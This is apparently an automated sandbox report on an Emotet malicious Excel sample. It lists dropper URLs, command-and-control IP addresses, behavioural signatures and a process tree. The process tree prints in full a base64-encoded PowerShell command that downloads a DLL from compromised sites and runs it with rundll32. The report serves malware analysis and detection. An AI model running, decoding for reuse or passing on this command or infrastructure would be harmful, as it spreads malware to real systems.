Analysis

  • max time kernel
    128s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    31/01/2022, 17:03

General

  • Target
    tmp554hzn8y.xls
  • Size 134KB
  • Sample220131-vkryasabaq
  • SHA256 52ba1cf920c8a56be3e24de5ae6fbec5f293fbab622c680ca16a0353471cebff
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://tastedonline.com/cgi-bin/14Lg3P2Dt3rqBmaYZO/

  • exe.dropper

    http://store.anicyber.com/wp-content/0JIWtpJt681mQ/

  • exe.dropper

    http://jeffreylubin.igclout.com/wp-admin/gJ5oDbi/

  • exe.dropper

    https://dulichkhampha24.net/wp-content/rPThO/

  • exe.dropper

    http://dev.learncaraudio.com/wp-admin/ZIwWVcNiED4JYqnq/

  • exe.dropper

    http://karensgardentips.com/cgi-bin/w9i3PIVDOJDeF095ST/

  • exe.dropper

    http://stancewheels.com/wp-admin/ur031GNgTubBSslqN/

  • exe.dropper

    http://laohange.com/wp-content/brPqH/

  • exe.dropper

    http://139.99.89.211/wp-admin/VM1HRb3b0MGGdp/

  • exe.dropper

    http://onexone.elementor.cloud/cdrxhrt/632SFiWmT1Y/

Extracted

Family
  • emotet

Botnet
  • Epoch5

C2
  • 74.207.230.120:8080

  • 139.196.72.155:8080

  • 37.44.244.177:8080

  • 37.59.209.141:8080

  • 116.124.128.206:8080

  • 217.182.143.207:443

  • 54.37.228.122:443

  • 203.153.216.46:443

  • 168.197.250.14:80

  • 207.148.81.119:8080

  • 195.154.146.35:443

  • 78.46.73.125:443

  • 191.252.103.16:80

  • 210.57.209.142:8080

  • 185.168.130.138:443

  • 142.4.219.173:8080

  • 118.98.72.86:443

  • 78.47.204.80:443

  • 159.69.237.188:443

  • 190.90.233.66:443

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Sets service image path in registry 2 TTPs
  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp554hzn8y.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3456
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c choice /C Y /N /D Y /T 3&start /B /WAIT powershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwB0AGEAcwB0AGUAZABvAG4AbABpAG4AZQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADEANABMAGcAMwBQADIARAB0ADMAcgBxAEIAbQBhAFkAWgBPAC8ALABoAHQAdABwADoALwAvAHMAdABvAHIAZQAuAGEAbgBpAGMAeQBiAGUAcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADAASgBJAFcAdABwAEoAdAA2ADgAMQBtAFEALwAsAGgAdAB0AHAAOgAvAC8AagBlAGYAZgByAGUAeQBsAHUAYgBpAG4ALgBpAGcAYwBsAG8AdQB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBnAEoANQBvAEQAYgBpAC8ALABoAHQAdABwAHMAOgAvAC8AZAB1AGwAaQBjAGgAawBoAGEAbQBwAGgAYQAyADQALgBuAGUAdAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwByAFAAVABoAE8ALwAsAGgAdAB0AHAAOgAvAC8AZABlAHYALgBsAGUAYQByAG4AYwBhAHIAYQB1AGQAaQBvAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBaAEkAdwBXAFYAYwBOAGkARQBEADQASgBZAHEAbgBxAC8ALABoAHQAdABwADoALwAvAGsAYQByAGUAbgBzAGcAYQByAGQAZQBuAHQAaQBwAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwB3ADkAaQAzAFAASQBWAEQATwBKAEQAZQBGADAAOQA1AFMAVAAvACwAaAB0AHQAcAA6AC8ALwBzAHQAYQBuAGMAZQB3AGgAZQBlAGwAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdQByADAAMwAxAEcATgBnAFQAdQBiAEIAUwBzAGwAcQBOAC8ALABoAHQAdABwADoALwAvAGwAYQBvAGgAYQBuAGcAZQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGIAcgBQAHEASAAvACwAaAB0AHQAcAA6AC8ALwAxADMAOQAuADkAOQAuADgAOQAuADIAMQAxAC8AdwBwAC0AYQBkAG0AaQBuAC8AVgBNADEASABSAGIAMwBiADAATQBHAEcAZABwAC8ALABoAHQAdABwADoALwAvAG8AbgBlAHgAbwBuAGUALgBlAGwAZQBtAGUAbgB0AG8AcgAuAGMAbABvAHUAZAAvAGMAZAByAHgAaAByAHQALwA2ADMAMgBTAEYAaQBXAG0AVAAxAFkALwAsAGgAdAB0AHAAcwA6AC8ALwBsAGEAcwB0AHIAZQBnAGEAcgBpAHMAdABvAHIAYQBuAHQAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgBrAFgARgBSAFYAdQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAbABsAGkAbgAuAGEAcABwAC8AdwBwAC0AYQBkAG0AaQBuAC8AMABXADQAQQBjAFcAdgBGAGsASABrAFYALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7ACAAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAegBoAGQAawBqAGUAdwBcACIAKwAkAGgAYgByAGsAZQAyACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGgAZABHAGUANQA1AHIAdQByADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGgAZABHAGUANQA1AHIAdQByACkAewAgAGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A&c:\programdata\vkwer.bat
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3372
      • C:\Windows\system32\choice.exe
        choice /C Y /N /D Y /T 3
        3⤵
          PID:3632
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwB0AGEAcwB0AGUAZABvAG4AbABpAG4AZQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADEANABMAGcAMwBQADIARAB0ADMAcgBxAEIAbQBhAFkAWgBPAC8ALABoAHQAdABwADoALwAvAHMAdABvAHIAZQAuAGEAbgBpAGMAeQBiAGUAcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADAASgBJAFcAdABwAEoAdAA2ADgAMQBtAFEALwAsAGgAdAB0AHAAOgAvAC8AagBlAGYAZgByAGUAeQBsAHUAYgBpAG4ALgBpAGcAYwBsAG8AdQB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBnAEoANQBvAEQAYgBpAC8ALABoAHQAdABwAHMAOgAvAC8AZAB1AGwAaQBjAGgAawBoAGEAbQBwAGgAYQAyADQALgBuAGUAdAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwByAFAAVABoAE8ALwAsAGgAdAB0AHAAOgAvAC8AZABlAHYALgBsAGUAYQByAG4AYwBhAHIAYQB1AGQAaQBvAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBaAEkAdwBXAFYAYwBOAGkARQBEADQASgBZAHEAbgBxAC8ALABoAHQAdABwADoALwAvAGsAYQByAGUAbgBzAGcAYQByAGQAZQBuAHQAaQBwAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwB3ADkAaQAzAFAASQBWAEQATwBKAEQAZQBGADAAOQA1AFMAVAAvACwAaAB0AHQAcAA6AC8ALwBzAHQAYQBuAGMAZQB3AGgAZQBlAGwAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdQByADAAMwAxAEcATgBnAFQAdQBiAEIAUwBzAGwAcQBOAC8ALABoAHQAdABwADoALwAvAGwAYQBvAGgAYQBuAGcAZQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGIAcgBQAHEASAAvACwAaAB0AHQAcAA6AC8ALwAxADMAOQAuADkAOQAuADgAOQAuADIAMQAxAC8AdwBwAC0AYQBkAG0AaQBuAC8AVgBNADEASABSAGIAMwBiADAATQBHAEcAZABwAC8ALABoAHQAdABwADoALwAvAG8AbgBlAHgAbwBuAGUALgBlAGwAZQBtAGUAbgB0AG8AcgAuAGMAbABvAHUAZAAvAGMAZAByAHgAaAByAHQALwA2ADMAMgBTAEYAaQBXAG0AVAAxAFkALwAsAGgAdAB0AHAAcwA6AC8ALwBsAGEAcwB0AHIAZQBnAGEAcgBpAHMAdABvAHIAYQBuAHQAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgBrAFgARgBSAFYAdQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAbABsAGkAbgAuAGEAcABwAC8AdwBwAC0AYQBkAG0AaQBuAC8AMABXADQAQQBjAFcAdgBGAGsASABrAFYALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7ACAAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAegBoAGQAawBqAGUAdwBcACIAKwAkAGgAYgByAGsAZQAyACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGgAZABHAGUANQA1AHIAdQByADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGgAZABHAGUANQA1AHIAdQByACkAewAgAGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:524
        • \??\c:\windows\syswow64\rundll32.exe
          c:\windows\syswow64\rundll32.exe c:\programdata\zhdkjew\vbkwk.dll,dhSGert3
          3⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1524
          • C:\Windows\SysWOW64\rundll32.exe
            C:\Windows\SysWOW64\rundll32.exe "c:\programdata\zhdkjew\vbkwk.dll",DllRegisterServer
            4⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious use of WriteProcessMemory
            PID:2584
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pgcgfnvzt\nxxwpj.rme",qfETFPzJIR
              5⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1644
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Pgcgfnvzt\nxxwpj.rme",DllRegisterServer
                6⤵
                • Blocklisted process makes network request
                • Loads dropped DLL
                • Suspicious behavior: EnumeratesProcesses
                PID:2108
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
      1⤵
        PID:2560
      • C:\Windows\System32\WaaSMedicAgent.exe
        C:\Windows\System32\WaaSMedicAgent.exe c5a0a8281ed8d5930c5c4d2aa944b91b ICnGkqs/gU+sTicfu9aFkA.0.1.0.0.0
        1⤵
        • Modifies data under HKEY_USERS
        PID:3748

      Network

            MITRE ATT&CK Enterprise v6

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            Downloads

            memory/524-179-0x000001E5E1220000-0x000001E5E1242000-memory.dmp

            memory/524-183-0x000001E5E1863000-0x000001E5E1865000-memory.dmp

            memory/524-182-0x000001E5E1860000-0x000001E5E1862000-memory.dmp

            memory/524-184-0x000001E5E1866000-0x000001E5E1868000-memory.dmp

            memory/1524-190-0x0000000004700000-0x0000000004727000-memory.dmp

            memory/2108-215-0x0000000005570000-0x0000000005597000-memory.dmp

            memory/2108-211-0x0000000004E40000-0x0000000004E67000-memory.dmp

            memory/2108-225-0x00000000059E0000-0x0000000005A07000-memory.dmp

            memory/2108-223-0x0000000005900000-0x0000000005927000-memory.dmp

            memory/2108-221-0x00000000057D0000-0x00000000057F7000-memory.dmp

            memory/2108-219-0x00000000056C0000-0x00000000056E7000-memory.dmp

            memory/2108-217-0x00000000055D0000-0x00000000055F7000-memory.dmp

            memory/2108-213-0x0000000005370000-0x0000000005397000-memory.dmp

            memory/2584-197-0x00000000050C0000-0x00000000050E7000-memory.dmp

            memory/2584-195-0x0000000004FE0000-0x0000000005007000-memory.dmp

            memory/2584-203-0x00000000052E0000-0x0000000005307000-memory.dmp

            memory/2584-193-0x0000000003210000-0x0000000003237000-memory.dmp

            memory/2584-206-0x0000000005460000-0x0000000005487000-memory.dmp

            memory/2584-201-0x0000000005280000-0x00000000052A7000-memory.dmp

            memory/2584-199-0x0000000005220000-0x0000000005247000-memory.dmp

            memory/3456-135-0x00007FFB39FD0000-0x00007FFB39FE0000-memory.dmp

            memory/3456-133-0x00007FFB39FD0000-0x00007FFB39FE0000-memory.dmp

            memory/3456-141-0x00007FFB37DB0000-0x00007FFB37DC0000-memory.dmp

            memory/3456-134-0x00007FFB39FD0000-0x00007FFB39FE0000-memory.dmp

            memory/3456-136-0x00007FFB39FD0000-0x00007FFB39FE0000-memory.dmp

            memory/3456-137-0x00007FFB39FD0000-0x00007FFB39FE0000-memory.dmp

            memory/3456-140-0x00007FFB37DB0000-0x00007FFB37DC0000-memory.dmp

            memory/3456-266-0x00007FFB39FD0000-0x00007FFB39FE0000-memory.dmp

            memory/3456-267-0x00007FFB39FD0000-0x00007FFB39FE0000-memory.dmp

            memory/3456-268-0x00007FFB39FD0000-0x00007FFB39FE0000-memory.dmp

            memory/3456-269-0x00007FFB39FD0000-0x00007FFB39FE0000-memory.dmp